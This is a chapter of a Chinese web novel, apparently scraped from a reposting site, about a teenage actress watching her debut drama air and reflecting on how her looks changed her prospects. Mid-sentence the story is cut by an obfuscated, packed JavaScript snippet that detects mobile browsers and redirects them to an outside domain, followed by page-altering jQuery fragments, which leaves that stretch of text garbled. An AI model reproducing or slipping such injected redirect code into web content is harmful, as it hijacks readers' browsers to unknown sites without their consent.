陈曼：“我的戏她镜头多，等播了你们看看就晓得，真挺灵的。年初还给陈榆的电影当了配角，陈榆跟我说起她来也是赞不绝口。你明年不是有部大剧吗，我先牵个线，也不说一定推人小孟去演，就先认识认识。” “行啊，咱们留个联系方式。”季子苓掏出手机，“有经纪人么？” 简珍珠赶紧把孟开颜的手机送过去，孟开颜点开微信：“没呢，平常是我妈妈陪着我，我还在准备艺考。” “挺好，这事最不能着急。”滴一声，两人添加成功，季子苓和简珍珠点头打招呼，又对孟开颜道，“有合适的角色我会来找你。” 孟开颜：“谢谢季姐。” 添加完没多久饭局就结束，和众人道别后简珍珠带着孟开颜离开。 关馨送母女俩出门，而后问陈曼：“二姨，你很看好小孟？” 陈曼：“是挺看好，主要是看好陈榆。陈榆电影审核三回终于过了，听人说剧情特别不错，有拿奖的潜力。” 关馨若有所思：“那小孟还真有可能闯出个名堂来。” “以前没多大可能，现在可能很大。” 17.第十七章 统考成绩在一月中旬出来，孟开颜拿到个不错的成绩，市排第9名。 这事很值得庆祝，孟开颜奖励自己吃了一块巧克力千层蛋糕。 和查询统考成绩同步进行的是校考报名，孟开颜三大都报上，能预见她二月份将会很忙。 除去这两件事，《钢铁女人》开播这事儿占据了孟开颜剩余的大部分注意力。 1月15号，《钢铁女人》正式在中央八套开播。 作为开年大剧，电视台早在月初时就放出预告，孟开颜意外地在预告里发现了自己的镜头。虽然只是一闪而过，却也足够让她振奋。 孟开颜抱着双膝坐在沙发上：“妈妈，这是我第一次在预告里看到我的脸。” 简珍珠正举着手机录像呢，欣喜道：“以后会越来越多的。” 孟开颜眼也不眨地盯着电视看，肯定地点点头：“嗯。” 电视剧开场就是少年巧花放羊的片段，不得不说这位少年巧花演挺好的。 她眼尾微垂，脸上有种别样的倔劲儿，难怪导演最终选择了她。 简珍珠把刚拍的视频发给正在加班的孟明海，抬头看眼电视说：“这姑娘咱们在组里没见过，长得挺好看。” 孟开颜：“因为我们进组的时候她已经杀青离开了，不过她通过剧组群加了我，是北舞的学生。” 简珍珠夸赞：“难怪这么高挑，脸也好，以后大概是走演员这条路。” 电视剧孟开颜也就头一天追了两集，第二天没再跟着看了。 没办法，她得准备即将到来的校考，还要顾及文化课，但数据却有每天追。 意料之中，这部剧承担起了作为开年大剧的责任，从开播那天开始收视率就节节攀登。 只是孟开颜猜到它会涨，但没想到会涨得这么快。 开播第一天收视率是1.8，能有这收视率全靠方群自带观众盘，因为央八上部剧成绩相当一般。即便前几集方群没出现，观众也通过预告片晓得了她是主角，便纷纷赏脸入场。 自第二天起，收视率就起飞了，直接窜到2.02，这靠的是剧情足够吸引人。 第三天2.12，第四天2.38，第五天2.56，第六天更是夸张，飞到2.88。 短短六天时间，收视率涨了一个1，这是许多电视剧要结局时才有的成绩。 孟开颜跟打了鸡血般追数据，特意开个微博小号关注了好几个数据博主。连从不看这种类型电视剧的兰同都特意跟她问起这部剧。 兰同：“到底讲的是什么？” “讲什么？我想想。嗯，巧花从毫无背景的农村姑娘成长为钢铁厂厂长的故事。”孟开颜正一句话高度概括，“哎你不是说你们粉圈没号召看这部剧吗？” “……” “是没有，可我奶奶追得特起劲儿。”兰同：“不过听你的介绍好像也没什么吸引力，但我家孔林在，我还是会去看的，我要给他剪产出。” 孟开颜正疯狂补作业呢，听她这么说赶忙道：“我跟他有对手戏，你记得给我留几个镜头，别都给剪了。” “OK，我还能亏待你吗？”兰同拿出手机点进微博，想了想又问，“话说你什么时候出场？” 孟开颜放下笔掰手指头数：“应该明天就能出场。” 她昨天实在忍不住去问了陈曼，陈曼说从16集开始就有她了，比孟开颜预想的要早。 兰同：“我明天一定准时观看。” 孟开颜有点紧张：“也不晓得我在成片里怎么样。” 兰同手机刷不停：“别怕，这部剧收视率和平台数据都挺好，但我看讨论度一般，观看人群大概是我奶奶我妈妈这两年龄段的人，演的再差她们不会再网上骂人。” 孟开颜翻白眼：“你说点吉利话。” 兰同：“我这张嘴就很少准过，你还是多让我说些不吉利的话吧。” 孟开颜捂住她嘴巴：“那还是闭嘴吧。” 她本没把兰同这番话放心上，但自第二天晚上的两集播完后，这部剧的讨论好像往奇奇怪怪的方向去了。 16集开播，做作业做到一半的孟开颜从房间来到客厅，眼睛把电视盯紧。 开始时就是刘凌云演的警察去喊巧花，如孟开颜当时所想的那般，刘凌云在这一幕完全被方群压制。 接下来就是巧花一路狂奔，奔跑的过程中还差点摔倒，惹得旁边推着粪便运输车的工人一顿躲避。 陈曼作品的特色就是特别落地，特别生活化，不管是置景还是服装都很有那个年代的感觉。 反正孟开颜看到这一幕时是死也没想到这一段会火，会被剪成鬼畜视频，从而带领这部剧在互 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14544411|153873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 联网上大出圈。 “妈，你看是我！” 她出场了，孟开颜两眼放光，激动得跳起来。 简珍珠比她还激动，高兴得脸蛋通红，举着手机凑近录像：“看到了看到了。” 孟开颜已经不知道有多少年没在电视机里看到自己了，以前就算有，也只是一闪而过，或者说只有一个片段。从没有像这部剧一样，给她一条成长线，给她无数特写镜头。 可就算是那样，她也欣喜万分，也对未来满怀憧憬，坚信自己总有一天能演上主角。 直到她一次次碰壁，一次次被拒绝。 “脸不合适，不要。” “小姑娘读书去吧，你不适合镜头。” “她怎么选上来的，这种初筛就应该筛走的，留着耽搁时间吗。” …… 孟开颜听过太多太多这种话，往往她走到选角导演面前时选角导演就得皱起眉头，如同看到一个瑕疵品。 她不喜欢这种感觉，这种被人轻视的感觉。却也明白这并不能怪任何人，镜头如此，圈子如此。 一次次的挫败使得她心中燃起熊熊烈火，若无意外，火焰会随着时间的流逝慢慢熄灭。 她不甘，却也无可奈何。 直到她得到改变命运的系统，就像是燃烧的火焰又被浇上一桶油。 砰—— 她升起从未有过的野望，她要当主角，要出大名，要有话语权，要不管走到哪儿都不容忽视。 “你就是我姑姑么？” 电视中的翠翠终于出声，那是孟开颜在这部戏里的第一句台词，把她从回忆漩涡里强势拉出来。 “好陌生啊妈妈，电视里的我好陌生。”孟开颜瘪着嘴巴，眼睛蓦地泛红，她跑过去抱着简珍珠，“我……我很高兴，但心又有点酸。” “哎妮妮，这是苦尽甘来呢，天道酬勤，努力是会有回报的。”简珍珠放下手机，心疼地抱紧她，给她擦眼泪。 孟开颜疯狂摇头，眼泪不停歇，靠在妈妈的怀里闷声道：“不是的不是的，才不是努力就会有回报。” 是脸！是脸！ 她漂亮后，曾经离她那么遥远的角色就轻而易举的得到了。 伸伸手，垫垫脚就得到了。 孟开颜泪流满面。其实她还不够漂亮，她需要变得更漂亮。